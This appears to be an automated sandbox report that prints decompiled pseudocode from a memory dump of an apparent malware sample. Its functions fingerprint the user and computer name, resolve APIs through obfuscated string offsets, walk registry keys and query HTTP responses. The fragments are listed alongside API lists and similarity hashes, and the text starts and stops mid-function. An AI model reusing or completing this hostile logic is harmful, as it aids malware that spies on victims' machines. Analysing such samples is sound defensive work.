					if(_t34 != 0) {
						L3:
						_v8 = 4;
						_v16 = 0;
						if(HttpQueryInfoA( *(_t61 + 0x18), 0x20000013, _t61 + 0x2c,  &_v8,  &_v16) == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *(_t61 + 0x2c) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							HttpQueryInfoA( *(_t61 + 0x18), 0x16, 0,  &_v8,  &_v16);
							_t58 = E007933DC(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								if(HttpQueryInfoA( *(_t61 + 0x18), 0x16, _t58,  &_v8,  &_v16) == 0) {
									E007961DA(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *(_t61 + 0xc) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E007916B2( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x00793fa5
0x00793fa5
0x00793fb5
0x00793fb8
0x00793fbc
0x00793fc2
0x00793fc7
0x00793fe0
0x00793ff4
0x00793ffb
0x00794002
0x00794055
0x0079405b
0x00794061
0x0079409c
0x007940a2
0x00000000
0x00000000
0x00000000
0x00794061
0x00794008
0x00000000
0x0079400f
0x0079401d
0x00794020
0x00794023
0x0079402f
0x00794033
0x00794095
0x00794035
0x00794047
0x00794085
0x00794090
0x00794049
0x0079404c
0x00794050
0x00794050
0x00794047
0x00000000
0x00794033
0x00794008
0x00793fcc
0x00793fd2
0x00793fd5
0x00793fda
0x00000000
0x00000000
0x00000000
0x0079406a
0x00794072
0x00794077
0x0079407a
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,74CF81D0,00000000,00000000), ref: 00793FBC
SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00793F34,00000000,?), ref: 00793FCC
HttpQueryInfoA.WININET(?,20000013,?,?), ref: 00793FFE
HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 00794023
HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 00794043
GetLastError.KERNEL32 ref: 00794055

Part of subcall function 007916B2: WaitForMultipleObjects.KERNEL32(00000002,00797C47,00000000,00797C47,?,?,?,00797C47,0000EA60), ref: 007916CD

Part of subcall function 007961DA: RtlFreeHeap.NTDLL(00000000,00000000,00796383,00000000,?,00000000,00000000), ref: 007961E6

GetLastError.KERNEL32(00000000), ref: 0079408A

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: HttpInfoQuery$ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 3369646462-0
Opcode ID: 29a0326304fd172ec9e8773e02c73ba9d95302cafa42592e3d4a1c494ea51810
Instruction ID: 46cc74ca15f62506b445c6ae17796bb33d2ffc025bd82b9fca3a88994a93ee8f
Opcode Fuzzy Hash: 29a0326304fd172ec9e8773e02c73ba9d95302cafa42592e3d4a1c494ea51810
Instruction Fuzzy Hash: 4D3120B5D00709EFDF20DFE9DC84D9EB7B8FB08300F1049AAE602A2151D779AA459F51

Uniqueness

Uniqueness Score: -1.00%

Function 00793A63 Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 00793ABD
SysAllocString.OLEAUT32(0070006F), ref: 00793AD1
SysAllocString.OLEAUT32(00000000), ref: 00793AE3
SysFreeString.OLEAUT32(00000000), ref: 00793B4B
SysFreeString.OLEAUT32(00000000), ref: 00793B5A
SysFreeString.OLEAUT32(00000000), ref: 00793B65

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 3c97620dbb38113287180ee91ec1cc5c3c90abecdc4443e21bdaaf349c2cdc78
Instruction ID: 4c48bc18ce901d00f6c57659a88c7935a3db79bda18b3fcb1726471866f1f043
Opcode Fuzzy Hash: 3c97620dbb38113287180ee91ec1cc5c3c90abecdc4443e21bdaaf349c2cdc78
Instruction Fuzzy Hash: D3419135D00A09ABDF01DFBCD845A9EB7B9EF49300F108426EA10EB120DA75DE05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00796BF9 Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00796BF9(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E007933DC(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x79a348; // 0x258d5a8
					_t1 = _t23 + 0x79b436; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x79a348; // 0x258d5a8
					_t2 = _t26 + 0x79b85c; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E007961DA(_t54);
					} else {
						_t30 =  *0x79a348; // 0x258d5a8
						_t5 = _t30 + 0x79b849; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x79a348; // 0x258d5a8
							_t7 = _t33 + 0x79b72b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x79a348; // 0x258d5a8
								_t9 = _t36 + 0x79b883; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x79a348; // 0x258d5a8
									_t11 = _t39 + 0x79b87b; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E00797A08(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x00796c08
0x00796c0c
0x00796cce
0x00796c12
0x00796c12
0x00796c17
0x00796c2a
0x00796c2c
0x00796c31
0x00796c39
0x00796c40
0x00796c42
0x00796c47
0x00796cc6
0x00796cc7
0x00796c49
0x00796c49
0x00796c4e
0x00796c56
0x00796c58
0x00796c5d
0x00000000
0x00796c5f
0x00796c5f
0x00796c64
0x00796c6c
0x00796c6e
0x00796c73
0x00000000
0x00796c75
0x00796c75
0x00796c7a
0x00796c82
0x00796c84
0x00796c89
0x00000000
0x00796c8b
0x00796c8b
0x00796c90
0x00796c98
0x00796c9a
0x00796c9f
0x00000000
0x00796ca1
0x00796ca7
0x00796cac
0x00796cb3
0x00796cb8
0x00796cbd
0x00000000
0x00796cbf
0x00796cc2
0x00796cc2
0x00796cbd
0x00796c9f
0x00796c89
0x00796c73
0x00796c5d
0x00796c47
0x00796cdc

APIs

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,007937FB,?,?,?,?,00000000,00000000), ref: 00796C1E
GetProcAddress.KERNEL32(00000000,7243775A), ref: 00796C40
GetProcAddress.KERNEL32(00000000,614D775A), ref: 00796C56
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 00796C6C
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 00796C82
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 00796C98

Part of subcall function 00797A08: memset.NTDLL ref: 00797A87

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: f68f72adb9dcd55bef51f01817688a7a5c714fd3f6a1398b6ea4400a5c3c2eb1
Instruction ID: fff303849cbb50924256884703595c93b507829dfc55938c58f962b06e9a2e55
Opcode Fuzzy Hash: f68f72adb9dcd55bef51f01817688a7a5c714fd3f6a1398b6ea4400a5c3c2eb1
Instruction Fuzzy Hash: F02141B060170AEFDB10DF6AEE84E6AB7ECEF153407004A56F545C7221E77CE9098B64

Uniqueness

Uniqueness Score: -1.00%

Function 00791340 Relevance: 7.6, APIs: 5, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00791340() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_t11 = _t43 + 2; // 0x7491c742
						_v12 = _v12 + _t11;
						_t64 = E007933DC(_v12 + _t11 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E007961DA(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x793e01
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x0079134e
0x00791351
0x00791354
0x0079135a
0x0079135f
0x00791365
0x0079136d
0x00791370
0x00791376
0x0079137b
0x00791384
0x00791388
0x00791395
0x00791399
0x0079139b
0x0079139f
0x007913a2
0x007913b2
0x00791405
0x00791406
0x007913b4
0x007913b9
0x007913ba
0x007913bf
0x007913c2
0x007913d5
0x00000000
0x007913d7
0x007913da
0x007913df
0x007913ed
0x007913f0
0x007913f6
0x007913fb
0x00000000
0x007913fd
0x007913fd
0x00791400
0x00791400
0x007913fb
0x007913d5
0x0079140b
0x0079140c
0x0079137b
0x00791412

APIs

GetUserNameW.ADVAPI32(00000000,00793DFF), ref: 00791354
GetComputerNameW.KERNEL32(00000000,00793DFF), ref: 00791370

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

GetUserNameW.ADVAPI32(00000000,00793DFF), ref: 007913AA
GetComputerNameW.KERNEL32(00793DFF,7491C740), ref: 007913CD
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,00793DFF,00000000,00793E01,00000000,00000000,?,7491C740,00793DFF), ref: 007913F0

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: 0682eceb6cf36cd1af5ebaae290e5de79b3a9364afba777740068aacb1eba1e1
Instruction ID: fe6e175ca47e3c39a3e23b77ec304c44aaa0d9c4c36eda89a36364383879fe10
Opcode Fuzzy Hash: 0682eceb6cf36cd1af5ebaae290e5de79b3a9364afba777740068aacb1eba1e1
Instruction Fuzzy Hash: F6210A76900109FFDB11DFE9D9858EEBBBCEF48300B5044AAE501E7250EB349B55DB64

Uniqueness

Uniqueness Score: -1.00%

Function 007954D8 Relevance: 7.5, APIs: 5, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E007954D8(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x79a30c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x79a2fc = _t4;
					_t6 = GetCurrentProcessId();
					 *0x79a2f8 = _t6;
					 *0x79a304 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x79a2f4 = _t7;
					if(_t7 == 0) {
						 *0x79a2f4 =  *0x79a2f4 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}

0x007954e0
0x007954e6
0x007954ed
0x00000000
0x00795547
0x007954ef
0x007954f7
0x00795504
0x00795504
0x00795544
0x00000000
0x00795544
0x00795506
0x00795506
0x0079550b
0x0079551d
0x00795522
0x00795528
0x0079552e
0x00795535
0x00795537
0x00795537
0x00000000
0x0079553e
0x00795500
0x00000000
0x00000000
0x00795502
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00795037,?), ref: 007954E0
GetVersion.KERNEL32 ref: 007954EF
GetCurrentProcessId.KERNEL32 ref: 0079550B
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 00795528
GetLastError.KERNEL32 ref: 00795547

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: f822841a5a16a1bfd2a1ebe747860f88b54e6adc933ca6129d5f7d6ace2bbb80
Instruction ID: d56255da7bcde8248ca1881080b29a0aabc6a06a1006292291ce05923a25a385
Opcode Fuzzy Hash: f822841a5a16a1bfd2a1ebe747860f88b54e6adc933ca6129d5f7d6ace2bbb80
Instruction Fuzzy Hash: F6F0AF70641713ABEF218F38BC1AB243BA3B744741F21C41AE626C61E1E67C8492CB1E

Uniqueness

Uniqueness Score: -1.00%

Function 00794C94 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 167
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00794C94(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				intOrPtr _t64;
				char _t65;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x79a3dc);
					_t91 = 0x80000002;
					L6:
					_t59 = E00796536( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					if(E0079313F(_t92, _t97, _t101, _t91, _t59) != 0) {
						L27:
						E007961DA(_a8);
						goto L29;
					}
					_t64 =  *0x79a318; // 0x2d29e18
					_t16 = _t64 + 0xc; // 0x2d29f3a
					_t65 = E00796536(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d007990
						if(E00797767(_t97,  *_t33, _t91, _a8,  *0x79a3d4,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))) == 0) {
							_t68 =  *0x79a348; // 0x258d5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x79bb5a; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x79bbac; // 0x55434b48
								_t69 = _t34;
							}
							if(E00797238(_t69,  *0x79a3d4,  *0x79a3d8,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x79a348; // 0x258d5a8
									_t44 = _t71 + 0x79b332; // 0x74666f53
									_t73 = E00796536(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d007990
										E00795B0E( *_t47, _t91, _a8,  *0x79a3d8, _a24);
										_t49 = _t101 + 0x10; // 0x3d007990
										E00795B0E( *_t49, _t91, _t99,  *0x79a3d0, _a16);
										E007961DA(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d007990
									E00795B0E( *_t40, _t91, _a8,  *0x79a3d8, _a24);
									_t43 = _t101 + 0x10; // 0x3d007990
									E00795B0E( *_t43, _t91, _a8,  *0x79a3d0, _a16);
								}
								if( *_t101 != 0) {
									E007961DA(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d007990
					_t81 = E007958BD( *_t21, _t91, _a8, _t65,  &_v16,  &_v12);
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d007990
							E00797767(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E007961DA(_t100);
						_t98 = _a16;
					}
					E007961DA(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E00797AB0(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x79a3dc);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}

0x00794c94
0x00794c9d
0x00794ca4
0x00794ca9
0x00794d16
0x00794d1c
0x00794d21
0x00794d28
0x00794d2d
0x00794d32
0x00794e9d
0x00794ea4
0x00794ea4
0x00794ea9
0x00794eab
0x00794eab
0x00794eb4
0x00794eb4
0x00794d38
0x00794d44
0x00794e93
0x00794e96
0x00000000
0x00794e96
0x00794d4a
0x00794d4f
0x00794d52
0x00794d57
0x00794d5c
0x00794da5
0x00794da5
0x00794db8
0x00794dc2
0x00794dc8
0x00794dcf
0x00794dd9
0x00794dd9
0x00794dd1
0x00794dd1
0x00794dd1
0x00794dd1
0x00794dfb
0x00794e03
0x00794e31
0x00794e36
0x00794e3d
0x00794e42
0x00794e46
0x00794e78
0x00794e48
0x00794e55
0x00794e58
0x00794e68
0x00794e6b
0x00794e71
0x00794e71
0x00794e05
0x00794e12
0x00794e15
0x00794e27
0x00794e2a
0x00794e2a
0x00794e82
0x00794e8e
0x00794e84
0x00794e87
0x00794e87
0x00794e82
0x00794dfb
0x00000000
0x00794dc2
0x00794d6b
0x00794d6e
0x00794d75
0x00794d7b
0x00794d7e
0x00794d80
0x00794d8c
0x00794d8f
0x00794d8f
0x00794d95
0x00794d9a
0x00794d9a
0x00794da0
0x00000000
0x00794da0
0x00794cae
0x00000000
0x00794cd5
0x00794cd5
0x00794ce1
0x00794cf4
0x00794cfa
0x00794d02
0x00000000
0x00794d02

APIs

StrChrA.SHLWAPI(?,0000005F,00000000,00000000,00000104), ref: 00794CC7
lstrcpy.KERNEL32(?,?), ref: 00794CF4

Part of subcall function 00796536: lstrlen.KERNEL32(?,00000000,02D29E18,00000000,00796F0A,02D2A03B,43175AC3,?,?,?,?,43175AC3,00000005,0079A00C,4D283A53,?), ref: 0079653D
Part of subcall function 00796536: mbstowcs.NTDLL ref: 00796566
Part of subcall function 00796536: memset.NTDLL ref: 00796578

Part of subcall function 00795B0E: lstrlenW.KERNEL32(?,?,?,00794E5D,3D007990,80000002,?,007957D1,74666F53,4D4C4B48,007957D1,?,3D007990,80000002,?,?), ref: 00795B33

Part of subcall function 007961DA: RtlFreeHeap.NTDLL(00000000,00000000,00796383,00000000,?,00000000,00000000), ref: 007961E6

lstrcpy.KERNEL32(?,00000000), ref: 00794D16

Strings

vjy, xrefs: 00794C94

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: vjy
API String ID: 3924217599-435586885
Opcode ID: aafa4eb53a413b8d443104e912244c9e33fcada45bc1572804757b017c737339
Instruction ID: d3a323ca5d2cce9835b35b9f222e73c87757944fa43bb7f0ec3ff1951b0d2831
Opcode Fuzzy Hash: aafa4eb53a413b8d443104e912244c9e33fcada45bc1572804757b017c737339
Instruction Fuzzy Hash: 5E515A7210020AFFDF229FA0ED45EAA37BAFF08354F108619FA1196161D73DD926EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00795704 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 98
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00795704(void* __ecx, char _a4) {
				char _v8;
				char _v12;
				long _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _t35;
				intOrPtr _t47;
				void* _t51;
				void* _t53;

				_t51 = __ecx;
				_v8 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_t53 =  *0x79a0f4(0x80000003, 0, 0, 0x20019,  &_v32);
				if(_t53 != 0) {
					L18:
					return _t53;
				}
				_t53 = 8;
				_t35 = E007933DC(0x104);
				_v28 = _t35;
				if(_t35 == 0) {
					L17:
					 *0x79a0d4(_v32);
					goto L18;
				}
				_v20 = 0x104;
				do {
					_v16 = _v20;
					_t10 =  &_v12; // 0x796a76
					_v12 = 0x104;
					_t53 =  *0x79a0f8(_v32, _v8, _v28, _t10, 0, 0, 0, 0);
					if(_t53 != 0xea) {
						if(_t53 != 0) {
							L14:
							if(_t53 == 0x103) {
								_t53 = 0;
							}
							L16:
							E007961DA(_v28);
							goto L17;
						}
						_t24 =  &_a4; // 0x796a76
						_t53 = E00794C94(_t51, _v32, _v28, _v24, _v12,  &_v8,  *_t24);
						if(_t53 != 0) {
							goto L14;
						}
						goto L12;
					}
					if(_v12 <= 0x104) {
						if(_v16 <= _v20) {
							goto L16;
						}
						E007961DA(_v24);
						_v20 = _v16;
						_t47 = E007933DC(_v16);
						_v24 = _t47;
						if(_t47 != 0) {
							L6:
							_t53 = 0;
							goto L12;
						}
						_t53 = 8;
						goto L16;
					}
					_v8 = _v8 + 1;
					goto L6;
					L12:
				} while (WaitForSingleObject( *0x79a30c, 0) == 0x102);
				goto L16;
			}

0x00795704
0x0079571e
0x00795721
0x00795724
0x00795727
0x00795730
0x00795734
0x0079580e
0x00795812
0x00795812
0x0079573d
0x00795744
0x00795749
0x0079574e
0x00795803
0x00795806
0x00000000
0x0079580c
0x00795754
0x00795757
0x0079575e
0x00795761
0x00795768
0x00795777
0x0079577f
0x007957b7
0x007957f1
0x007957f7
0x007957f9
0x007957f9
0x007957fb
0x007957fe
0x00000000
0x007957fe
0x007957b9
0x007957d1
0x007957d5
0x00000000
0x00000000
0x00000000
0x007957d5
0x00795784
0x00795793
0x00000000
0x00000000
0x00795798
0x007957a1
0x007957a4
0x007957a9
0x007957ae
0x00795789
0x00795789
0x00000000
0x00795789
0x007957b2
0x00000000
0x007957b2
0x00795786
0x00000000
0x007957d7
0x007957e4
0x00000000

APIs

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

WaitForSingleObject.KERNEL32(00000000,?,?,?,?,00000000,vjy,?,?,?,?,?,00796A76,?), ref: 007957DE

Strings

vjy, xrefs: 007957B9
1~y, xrefs: 00795806
vjy, xrefs: 00795761, 00795764

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: AllocateHeapObjectSingleWait
String ID: 1~y$vjy$vjy
API String ID: 3050739573-1345168532
Opcode ID: 8b01f92faf36cf7a8dce09577a90220fbb6f0bfed49296bbb094483c75e1fb2e
Instruction ID: 49add550b5144fe45bba863b863fae69c2921ab66c4a0f97db8ffbe51412f543
Opcode Fuzzy Hash: 8b01f92faf36cf7a8dce09577a90220fbb6f0bfed49296bbb094483c75e1fb2e
Instruction Fuzzy Hash: FF312B75D00529FFCF22ABE9EC85DEEFFB9EB44310F204126EA55B2150D6784A41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00796CDF Relevance: 6.2, APIs: 4, Instructions: 154
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00796CDF(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
